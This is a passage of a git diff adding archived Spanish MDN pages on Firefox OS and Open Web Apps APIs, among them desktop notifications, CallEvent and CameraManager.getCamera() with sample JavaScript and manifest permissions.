href="/es/docs/Web/Events/loadeddata"><code>loadeddata</code></a></li><li><a href="/es/docs/Web/Events/loadedmetadata"><code>loadedmetadata</code></a></li><li><a href="/es/docs/Web/Events/canplay"><code>canplay</code></a></li><li><a href="/es/docs/Web/Events/playing"><code>playing</code></a></li><li><a href="/es/docs/Web/Events/play"><code>play</code></a></li><li><a href="/es/docs/Web/Events/canplaythrough"><code>canplaythrough</code></a></li><li><a href="/es/docs/Web/Events/seeked"><code>seeked</code></a></li><li><a href="/es/docs/Web/Events/seeking"><code>seeking</code></a></li><li><a href="/es/docs/Web/Events/stalled"><code>stalled</code></a></li><li><a href="/es/docs/Web/Events/suspend"><code>suspend</code></a></li><li><a href="/es/docs/Web/Events/timeupdate"><code>timeupdate</code></a></li><li><a href="/es/docs/Web/Events/volumechange"><code>volumechange</code></a></li><li><a href="/es/docs/Web/Events/waiting"><code>waiting</code></a></li><li><a href="/es/docs/Web/Events/durationchange"><code>durationchange</code></a></li><li><a href="/es/docs/Web/Events/emptied"><code>emptied</code></a></li><li><a href="/es/docs/Web/Events/unhandledrejection"><code>unhandledrejection</code></a></li><li><a href="/es/docs/Web/Events/rejectionhandled"><code>rejectionhandled</code></a></li></ol></details></li><li class="toggle"><details open><summary>Páginas relacionadas a HTML DOM</summary><ol><li><a href="/es/docs/Web/API/BeforeUnloadEvent"><code>BeforeUnloadEvent</code></a></li><li><a href="/es/docs/Web/API/DOMStringMap"><code>DOMStringMap</code></a></li><li><a href="/es/docs/Web/API/ErrorEvent"><code>ErrorEvent</code></a></li><li><a href="/es/docs/Web/API/GlobalEventHandlers"><code>GlobalEventHandlers</code></a></li><li><a href="/es/docs/Web/API/HTMLAnchorElement"><code>HTMLAnchorElement</code></a></li><li><a href="/es/docs/Web/API/HTMLAreaElement"><code>HTMLAreaElement</code></a></li><li><a href="/es/docs/Web/API/HTMLAudioElement"><code>HTMLAudioElement</code></a></li><li><a href="/es/docs/Web/API/HTMLBRElement"><code>HTMLBRElement</code></a></li><li><a href="/es/docs/Web/API/HTMLBaseElement"><code>HTMLBaseElement</code></a></li><li><a href="/es/docs/Web/API/HTMLBaseFontElement"><code>HTMLBaseFontElement</code></a></li><li><a href="/es/docs/Web/API/HTMLBodyElement"><code>HTMLBodyElement</code></a></li><li><a href="/es/docs/Web/API/HTMLButtonElement"><code>HTMLButtonElement</code></a></li><li><a href="/es/docs/Web/API/HTMLCanvasElement"><code>HTMLCanvasElement</code></a></li><li><a href="/es/docs/Web/API/HTMLContentElement"><code>HTMLContentElement</code></a></li><li><a href="/es/docs/Web/API/HTMLDListElement"><code>HTMLDListElement</code></a></li><li><a href="/es/docs/Web/API/HTMLDataElement"><code>HTMLDataElement</code></a></li><li><a href="/es/docs/Web/API/HTMLDataListElement"><code>HTMLDataListElement</code></a></li><li><a href="/es/docs/Web/API/HTMLDialogElement"><code>HTMLDialogElement</code></a></li><li><a href="/es/docs/Web/API/HTMLDivElement"><code>HTMLDivElement</code></a></li><li><a href="/es/docs/Web/API/HTMLDocument"><code>HTMLDocument</code></a></li><li><a href="/es/docs/Web/API/HTMLElement"><code>HTMLElement</code></a></li><li><a href="/es/docs/Web/API/HTMLEmbedElement"><code>HTMLEmbedElement</code></a></li><li><a href="/es/docs/Web/API/HTMLFieldSetElement"><code>HTMLFieldSetElement</code></a></li><li><a href="/es/docs/Web/API/HTMLFormControlsCollection"><code>HTMLFormControlsCollection</code></a></li><li><a href="/es/docs/Web/API/HTMLFormElement"><code>HTMLFormElement</code></a></li><li><a href="/es/docs/Web/API/HTMLFrameSetElement"><code>HTMLFrameSetElement</code></a></li><li><a href="/es/docs/Web/API/HTMLHRElement"><code>HTMLHRElement</code></a></li><li><a href="/es/docs/Web/API/HTMLHeadElement"><code>HTMLHeadElement</code></a></li><li><a href="/es/docs/Web/API/HTMLHeadingElement"><code>HTMLHeadingElement</code></a></li><li><a href="/es/docs/Web/API/HTMLHtmlElement"><code>HTMLHtmlElement</code></a></li><li><a href="/es/docs/Web/API/HTMLIFrameElement"><code>HTMLIFrameElement</code></a></li><li><a href="/es/docs/Web/API/HTMLImageElement"><code>HTMLImageElement</code></a></li><li><a href="/es/docs/Web/API/HTMLInputElement"><code>HTMLInputElement</code></a></li><li><a href="/es/docs/Web/API/HTMLIsIndexElement"><code>HTMLIsIndexElement</code></a></li><li><a href="/es/docs/Web/API/HTMLKeygenElement"><code>HTMLKeygenElement</code></a></li><li><a href="/es/docs/Web/API/HTMLLIElement"><code>HTMLLIElement</code></a></li><li><a href="/es/docs/Web/API/HTMLLabelElement"><code>HTMLLabelElement</code></a></li><li><a href="/es/docs/Web/API/HTMLLegendElement"><code>HTMLLegendElement</code></a></li><li><a href="/es/docs/Web/API/HTMLLinkElement"><code>HTMLLinkElement</code></a></li><li><a href="/es/docs/Web/API/HTMLMapElement"><code>HTMLMapElement</code></a></li><li><a href="/es/docs/Web/API/HTMLMediaElement"><code>HTMLMediaElement</code></a></li><li><a href="/es/docs/Web/API/HTMLMetaElement"><code>HTMLMetaElement</code></a></li><li><a href="/es/docs/Web/API/HTMLMeterElement"><code>HTMLMeterElement</code></a></li><li><a href="/es/docs/Web/API/HTMLModElement"><code>HTMLModElement</code></a></li><li><a href="/es/docs/Web/API/HTMLOListElement"><code>HTMLOListElement</code></a></li><li><a href="/es/docs/Web/API/HTMLObjectElement"><code>HTMLObjectElement</code></a></li><li><a href="/es/docs/Web/API/HTMLOptGroupElement"><code>HTMLOptGroupElement</code></a></li><li><a href="/es/docs/Web/API/HTMLOptionElement"><code>HTMLOptionElement</code></a></li><li><a href="/es/docs/Web/API/HTMLOptionsCollection"><code>HTMLOptionsCollection</code></a></li><li><a href="/es/docs/Web/API/HTMLOutputElement"><code>HTMLOutputElement</code></a></li><li><a href="/es/docs/Web/API/HTMLParagraphElement"><code>HTMLParagraphElement</code></a></li><li><a href="/es/docs/Web/API/HTMLParamElement"><code>HTMLParamElement</code></a></li><li><a href="/es/docs/Web/API/HTMLPictureElement"><code>HTMLPictureElement</code></a></li><li><a href="/es/docs/Web/API/HTMLPreElement"><code>HTMLPreElement</code></a></li><li><a href="/es/docs/Web/API/HTMLProgressElement"><code>HTMLProgressElement</code></a></li><li><a href="/es/docs/Web/API/HTMLQuoteElement"><code>HTMLQuoteElement</code></a></li><li><a href="/es/docs/Web/API/HTMLScriptElement"><code>HTMLScriptElement</code></a></li><li><a href="/es/docs/Web/API/HTMLSelectElement"><code>HTMLSelectElement</code></a></li><li><a href="/es/docs/Web/API/HTMLShadowElement"><code>HTMLShadowElement</code></a></li><li><a href="/es/docs/Web/API/HTMLSourceElement"><code>HTMLSourceElement</code></a></li><li><a href="/es/docs/Web/API/HTMLSpanElement"><code>HTMLSpanElement</code></a></li><li><a href="/es/docs/Web/API/HTMLStyleElement"><code>HTMLStyleElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTableCaptionElement"><code>HTMLTableCaptionElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTableCellElement"><code>HTMLTableCellElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTableColElement"><code>HTMLTableColElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTableDataCellElement"><code>HTMLTableDataCellElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTableElement"><code>HTMLTableElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTableHeaderCellElement"><code>HTMLTableHeaderCellElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTableRowElement"><code>HTMLTableRowElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTableSectionElement"><code>HTMLTableSectionElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTemplateElement"><code>HTMLTemplateElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTextAreaElement"><code>HTMLTextAreaElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTimeElement"><code>HTMLTimeElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTitleElement"><code>HTMLTitleElement</code></a></li><li><a href="/es/docs/Web/API/HTMLTrackElement"><code>HTMLTrackElement</code></a></li><li><a href="/es/docs/Web/API/HTMLUListElement"><code>HTMLUListElement</code></a></li><li><a href="/es/docs/Web/API/HTMLUnknownElement"><code>HTMLUnknownElement</code></a></li><li><a href="/es/docs/Web/API/HTMLVideoElement"><code>HTMLVideoElement</code></a></li><li><a href="/es/docs/Web/API/HashChangeEvent"><code>HashChangeEvent</code></a></li><li><a href="/es/docs/Web/API/History"><code>History</code></a></li><li><a href="/es/docs/Web/API/ImageData"><code>ImageData</code></a></li><li><a href="/es/docs/Web/API/Location"><code>Location</code></a></li><li><a href="/es/docs/Web/API/MessageChannel"><code>MessageChannel</code></a></li><li><a href="/es/docs/Web/API/MessageEvent"><code>MessageEvent</code></a></li><li><a href="/es/docs/Web/API/MessagePort"><code>MessagePort</code></a></li><li><a href="/es/docs/Web/API/Navigator"><code>Navigator</code></a></li><li><a href="/es/docs/Web/API/NavigatorGeolocation"><code>NavigatorGeolocation</code></a></li><li><a href="/es/docs/Web/API/NavigatorID"><code>NavigatorID</code></a></li><li><a href="/es/docs/Web/API/NavigatorLanguage"><code>NavigatorLanguage</code></a></li><li><a href="/es/docs/Web/API/NavigatorOnLine"><code>NavigatorOnLine</code></a></li><li><a href="/es/docs/Web/API/NavigatorPlugins"><code>NavigatorPlugins</code></a></li><li><a href="/es/docs/Web/API/PageTransitionEvent"><code>PageTransitionEvent</code></a></li><li><a href="/es/docs/Web/API/Plugin"><code>Plugin</code></a></li><li><a href="/es/docs/Web/API/PluginArray"><code>PluginArray</code></a></li><li><a href="/es/docs/Web/API/PopStateEvent"><code>PopStateEvent</code></a></li><li><a href="/es/docs/Web/API/PortCollection"><code>PortCollection</code></a></li><li><a href="/es/docs/Web/API/PromiseRejectionEvent"><code>PromiseRejectionEvent</code></a></li><li><a href="/es/docs/Web/API/RadioNodeList"><code>RadioNodeList</code></a></li><li><a href="/es/docs/Web/API/Transferable"><code>Transferable</code></a></li><li><a href="/es/docs/Web/API/ValidityState"><code>ValidityState</code></a></li><li><a href="/es/docs/Web/API/Window"><code>Window</code></a></li><li><a href="/es/docs/Web/API/WindowBase64"><code>WindowBase64</code></a></li><li><a href="/es/docs/Web/API/WindowEventHandlers"><code>WindowEventHandlers</code></a></li></ol></details></li></ol></section> <div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<p>Proporciona soporte para la creación de objetos <a href="/es/docs/Web/API/Notification" title="La interfaz Notification de la Notifications API se usa para configurar y mostrar notificaciones de escritorio al usuario."><code>notification</code></a>, que son usados para mostrar alertas de notificaciones de escritorio al usuario. Actualmente, estos son admitidos sólamente en Firefox Mobile y Firefox OS. Vea <a href="/en/DOM/Displaying_notifications" title="en/DOM/Displaying notifications">Mostrar notificaciones</a> para un ejemplo.</p>
+
+<h2 id="Method_overview" name="Method_overview">Resumen del método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>notification <a href="#createNotification()">createNotification</a>(in DOMString title, in DOMString description, in DOMString iconURL <span class="inlineIndicator optional optionalInline">Optional</span>);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Métodos</h2>
+
+<h3 id="createNotification()" name="createNotification()">createNotification()</h3>
+
+<p>Crea y devuelve un objeto <a href="/es/docs/Web/API/Notification" title="La interfaz Notification de la Notifications API se usa para configurar y mostrar notificaciones de escritorio al usuario."><code>notification</code></a> que puede ser usado para mostrar el mensaje especificado con una URL opcional.</p>
+
+<pre class="eval">notification createNotification(
+  in DOMString title,
+  in DOMString description,
+  in DOMString iconURL <span class="inlineIndicator optional optionalInline">Optional</span>
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parámetros</h6>
+
+<dl>
+ <dt><code>title</code></dt>
+ <dd>El título de la notificación.</dd>
+ <dt><code>description</code></dt>
+ <dd>El texto que se muestra en la notificación.</dd>
+ <dt><code>iconURL</code> <span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>Un identificador URL de la imagen que se mostrará en la notificación.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Valor de retorno</h6>
+
+<p>Un nuevo objeto <a href="/es/docs/Web/API/Notification" title="La interfaz Notification de la Notifications API se usa para configurar y mostrar notificaciones de escritorio al usuario."><code>notification</code></a>.</p>
+
+<h2 id="Methods" name="Methods">Permisos</h2>
+
+<p>Asegúrese de agregar en su archivo manifiesto el permiso "desktop-notification".</p>
+
+<pre class="default prettyprint prettyprinted"><code><span class="str">"permissions"</span><span class="pun">:</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
+    </span><span class="str">"desktop-notification"</span><span class="pun">:{}</span><span class="pln">
+</span><span class="pun">}</span></code></pre>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/API/Notification" title="La interfaz Notification de la Notifications API se usa para configurar y mostrar notificaciones de escritorio al usuario."><code>notification</code></a></li>
+ <li><a href="/en/DOM/Displaying_notifications" title="en/DOM/Displaying notifications">Mostrar notificaciones</a></li>
+</ul>
diff --git a/files/es/archive/apps/advanced_topics/index.html b/files/es/archive/apps/advanced_topics/index.html
new file mode 100644
index 0000000000..0db5a55e2b
--- /dev/null
+++ b/files/es/archive/apps/advanced_topics/index.html
@@ -0,0 +1,74 @@
+---
+title: Temas avanzados
+slug: Archive/Apps/Advanced_topics
+translation_of: Archive/Apps/Advanced_topics
+---
+<p>Este artículo provée información extra en temas más avanzados de Open Web Apps.</p>
+<div class="section">
+  <h2 class="Documentation" id="Architecture" name="Architecture">Documentación de arquitectura de apps</h2>
+  <dl>
+    <dt>
+      <a href="/en-US/docs/Web/Apps/Architecture">Arquitectura de web apps</a></dt>
+    <dd>
+      Una revisión de la arquitectura detrás de los proyectos de Open Web Apps diseño e implementación.</dd>
+    <dt>
+      <a href="/en-US/docs/Web/Apps/Platform-specific_details">Detalles específicos de la plataforma de instalación de apps</a></dt>
+    <dd>
+      Hay algunas diferencias en cómo las apps son instaladas a través de varias plataformas que soportan Open Web Apps; este artículo te ayudará a entenderlas.</dd>
+    <dt>
+      <a href="/en-US/docs/Web/Apps/Apps_for_Android">Open Web Apps para Android</a></dt>
+    <dd>
+      Información acerca de instalar y <em>testear</em> Open Web Apps en un dispositivo Android.</dd>
+    <dt>
+      <a href="/en-US/docs/Web/Apps/Release_notes">Notas sobre el tiempo de ejecución de la App</a></dt>
+    <dd>
+      Saca notas para las corridas y el funcionamiento en ejecución de las Web app para varias plataformas.</dd>
+  </dl>
+  <h2 class="Documentation" id="Other" name="Other">Otra documentación</h2>
+  <dl>
+    <dt>
+      <a href="/en-US/docs/Web/Apps/Creating_a_store">Creando almacenamiento</a></dt>
+    <dd>
+      Información qe podrá ser útil para ti si quieres compilar tu propio almacenamiento para la venta o distribución de las Open Web Apps.</dd>
+  </dl>
+  <p><span class="alllinks"><a href="/en-US/docs/tag/Marketplace">Ver todo...</a></span></p>
+</div>
+<div class="section">
+  <p></p><h5 class="Tools" id="Tools" name="Tools">Tools for app developers</h5>
+<ul>
+    <li><a href="https://marketplace.firefox.com/developers/">Visit Firefox Marketplace Developer Hub</a></li>
+    <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS Simulator</a></li>
+    <li><a href="/en-US/docs/Apps/App_developer_tools">App developer tools</a></li>
+</ul>
+<h5 class="Documentation" id="Documentation" name="Documentation">Technology reference documentation</h5>
+<div class="twocolumns">
+    <ul>
+        <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
+        <li><a href="/en-US/docs/DOM">DOM</a></li>
+        <li><a href="/en-US/docs/Web/HTML">HTML</a></li>
+        <li><a href="/en-US/docs/JavaScript">JavaScript</a></li>
+        <li><a href="/en-US/docs/WebAPI">WebAPI</a></li>
+        <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
+        <li><a href="/en-US/docs/SVG">SVG</a></li>
+        <li><a href="https://www.mozilla.org/en-US/apps/">Open Web Apps overview site</a></li>
+        <li><a href="https://wiki.mozilla.org/Apps">Apps project wiki page</a></li>
+    </ul>
+</div>
+<h5 class="Community" id="Community" name="Community">Getting help from the community</h5>
+<p>If you still aren't sure how to do what you're trying to get done, feel free to join the conversation!</p>
+<ul>
+    <li>Consult the webapps forum: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-webapps"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps/feeds"> como RSS</a></li>
+</ul>
+        <ul>
+            <li>Ask your question on the Open Web Apps IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
+        </ul>
+    </li>
+</ul>
+<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" rel="external">Don't forget about the <em>netiquette</em>...</a></span></p><p></p>
+</div>
+<p> </p>
diff --git a/files/es/archive/apps/index.html b/files/es/archive/apps/index.html
new file mode 100644
index 0000000000..10bb499435
--- /dev/null
+++ b/files/es/archive/apps/index.html
@@ -0,0 +1,8 @@
+---
+title: Apps
+slug: Archive/Apps
+translation_of: Archive/Apps
+---
+<p class="summary">In progress. This page includes archived content for Apps, including obsolete web app content, Firefox OS app-related content, etc.</p>
+
+<p></p>
diff --git a/files/es/archive/b2g_os/api/callevent/index.html b/files/es/archive/b2g_os/api/callevent/index.html
new file mode 100644
index 0000000000..ceb6219d5a
--- /dev/null
+++ b/files/es/archive/b2g_os/api/callevent/index.html
@@ -0,0 +1,117 @@
+---
+title: CallEvent
+slug: Archive/B2G_OS/API/CallEvent
+translation_of: Archive/B2G_OS/API/CallEvent
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li></ol></section> <div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div><p></p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El DOM <code>CallEvent</code> representa eventos relacionados con las llamadas telefonicas.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/CallEvent/call" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CallEvent.call</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Un objeto</span> <a href="/es/docs/Web/API/TelephonyCall"><span class="hps">TelephonyCall</span></a> <span class="hps">representa</span> <span class="hps">la llamada</span> <span class="hps">de la que</span> <span class="hps">se originó</span> <span class="hps">el evento.</span></span></dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es una implementacion estandar, pero se dicote en el W3C como parte del <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">Grupo de trabajo de aplicaciones del sistema</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="https://wiki.mozilla.org/WebAPI/WebTelephony" hreflang="en" lang="en" title="La especificación 'Web Telephony'">Web Telephony</a></td>
+   <td><span class="spec-Draft">Draft</span></td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Por razones obvias</span><span>, el apoyo</span> <span class="hps">se espera</span> <span class="hps">principalmente en</span> <span class="hps">los navegadores móviles</span><span>.</span></span></p>
+
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/es/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Escritorio</a></li>
+        <li><a>Móvil</a></li>
+    </ul>
+</div><p></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobil</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobil</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td>12.0 (12.0)</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en/DOM/Using_the_Telephony_API" title="en/DOM/Using the Telephony API">Uso de la API de telefonía</a></li>
+ <li><a href="/es/docs/Web/API/Telephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony</code></a></li>
+ <li><a href="/es/docs/Web/API/TelephonyCall" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall</code></a></li>
+ <li><a href="/es/docs/Web/API/Window/navigator/mozTelephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.navigator.mozTelephony</code></a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/cameramanager/getcamera/index.html b/files/es/archive/b2g_os/api/cameramanager/getcamera/index.html
new file mode 100644
index 0000000000..605e8229b7
--- /dev/null
+++ b/files/es/archive/b2g_os/api/cameramanager/getcamera/index.html
@@ -0,0 +1,126 @@
+---
+title: CameraManager.getCamera()
+slug: Archive/B2G_OS/API/CameraManager/getCamera
+translation_of: Archive/B2G_OS/API/CameraManager/getCamera
+---
+<div><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Mozilla/Firefox_OS/API/Camera_API">Camera API</a></strong></li><li><strong><a href="/es/docs/Mozilla/Firefox_OS/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Camera API</summary><ol><li><a href="/es/docs/Mozilla/Firefox_OS/API/CameraCapabilities"><code>CameraCapabilities</code></a></li><li><a href="/es/docs/Mozilla/Firefox_OS/API/CameraControl"><code>CameraControl</code></a></li><li><a href="/es/docs/Mozilla/Firefox_OS/API/CameraManager"><code>CameraManager</code></a></li></ol></details></li></ol></section><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">privileged or certified applications</a> only.</p>
+</div></div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este método es usado para acceder a una de las camaras validas en el dispositivo basado en el identificador. Puedes obtener una lista de las camaras validas para ser llamadas por el método <a href="/es/docs/Web/API/CameraManager/getListOfCameras" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CameraManager.getListOfCameras()</code></a> .</p>
+
+<h2 id="Sintaxis_(pre_Firefox_OS_2.2)">Sintaxis (pre Firefox OS 2.2)</h2>
+
+<pre>CameraManager.getCamera(camera, cameraConfiguration, onsuccess[, onerror]);</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>camera</code></dt>
+ <dd>Especifica la camara que desea usarse (el dispositivo puede tener mas de una camara).</dd>
+ <dt><code>cameraConfiguration</code></dt>
+ <dd>Un objeto permite al conjunto de opciones de la camara por esta camara: mode, previewSize y recorderProfile</dd>
+ <dt><code>onsuccess</code></dt>
+ <dd>una función de llamada que toma un objeto <a href="/es/docs/Web/API/CameraControl" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CameraControl</code></a> como parametro.</dd>
+ <dt><code>onerror</code></dt>
+ <dd>Una opcional función de llamada que acepta una cadena de error como un parametro.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var options = {
+  mode: 'picture',
+  recorderProfile: 'jpg',
+  previewSize: {
+    width: 352,
+    height: 288
+  }
+};
+
+var camera = navigator.mozCameras.getListOfCameras()[0];
+
+function onSuccess(camera) {
+  // Do stuff with the camera
+};
+
+function onError(error) {
+  console.warn(error);
+};
+
+navigator.mozCameras.getCamera(camera, options, onSuccess, onError);
+</pre>
+
+<h2 id="Sintaxis_(Firefox_OS_2.2)">Sintaxis (Firefox OS 2.2+)</h2>
+
+<pre>Promise CameraManager.getCamera(camera, cameraConfiguration);</pre>
+
+<h3 id="Parametros_2">Parametros</h3>
+
+<dl>
+ <dt><code>camera</code></dt>
+ <dd>Especifica la camara que deseas usar (El dispositivo puede tener mas de una camara).</dd>
+ <dt><code>cameraConfiguration</code></dt>
+ <dd>Un objeto permite al conjunto de opciones de la camara por esta camara: mode, previewSize y recorderProfile</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>retorna un <a href="/es/docs/Web/API/Promise" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Promise</code></a>.  La función Promise's <code>.then()</code> acepta dos argumentos en la función:</p>
+
+<dl>
+ <dt><code>onsuccess</code></dt>
+ <dd>Una función de llamada que toma un objeto como parametro. Este objeto tiene la propiedad camara como objeto <a href="/es/docs/Web/API/CameraControl" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CameraControl</code></a> y la configuracion de la propiedad como actual cameraConfiguration del dispositivo.</dd>
+ <dt><code>onerror</code></dt>
+ <dd>Una opcional función de llamada que acepta una cadena de error como un parametro.</dd>
+</dl>
+
+<h2 id="Ejemplo_2">Ejemplo</h2>
+
+<pre class="brush: js">var options = {
+  mode: 'picture',
+  recorderProfile: 'jpg',
+  previewSize: {
+    width: 352,
+    height: 288
+  }
+};
+
+var camera = navigator.mozCameras.getListOfCameras()[0];
+
+function onSuccess(cameraObj) {
+  var cameraControl = cameraObj.camera;
+  // Do stuff with the cameraControl
+};
+
+function onError(error) {
+  console.warn(error);
+};
+
+navigator.mozCameras.getCamera(camera, options).then(onSuccess, onError);
+</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<p>no forma parte de cualquier especificación aun; este propablemente será reemplazado por  <a href="/en-US/docs/WebRTC">WebRTC</a> cuando este gane mas soporte generalizado en dispositivos moviles .</p>
+
+<h2 id="Permisos">Permisos</h2>
+
+<p>Hasta Firefox OS 1.4, la api de la camara es una api certificada, pero no es accesible para aplicaciones  de tercera partes. Para Firefox OS 2.0 en adelante, el nivel de permisos han sido degradado a privilegiado, pero este es ahora valido para desarrolladores  que usen en sus aplicaciones.</p>
+
+<pre class="brush: json">"type": "privileged"</pre>
+
+<pre class="brush: json">"permissions": {
+  "camera": {
+    "description": "Required for accessing cameras on the device."
+  }
+}</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/API/CameraManager/getListOfCameras" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CameraManager.getListOfCameras()</code></a></li>
+ <li><a href="/es/docs/Web/API/CameraControl" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CameraControl</code></a></li>
+ <li><a href="/es/docs/Web/API/Navigator/mozCamera" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>navigator.mozCamera</code></a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/cameramanager/index.html b/files/es/archive/b2g_os/api/cameramanager/index.html
new file mode 100644
index 0000000000..492feb0803
--- /dev/null
+++ b/files/es/archive/b2g_os/api/cameramanager/index.html
@@ -0,0 +1,62 @@
+---
+title: CameraManager
+slug: Archive/B2G_OS/API/CameraManager
+tags:
+  - API
+  - B2G
+  - Certified Only
+  - DOM
+  - DOM Reference
+  - Firefox OS
+  - Graphics
+  - JavaScript
+  - NeedsTranslation
+  - Non-standard
+  - Reference
+  - Référence(2)
+  - TopicStub
+  - WebAPI
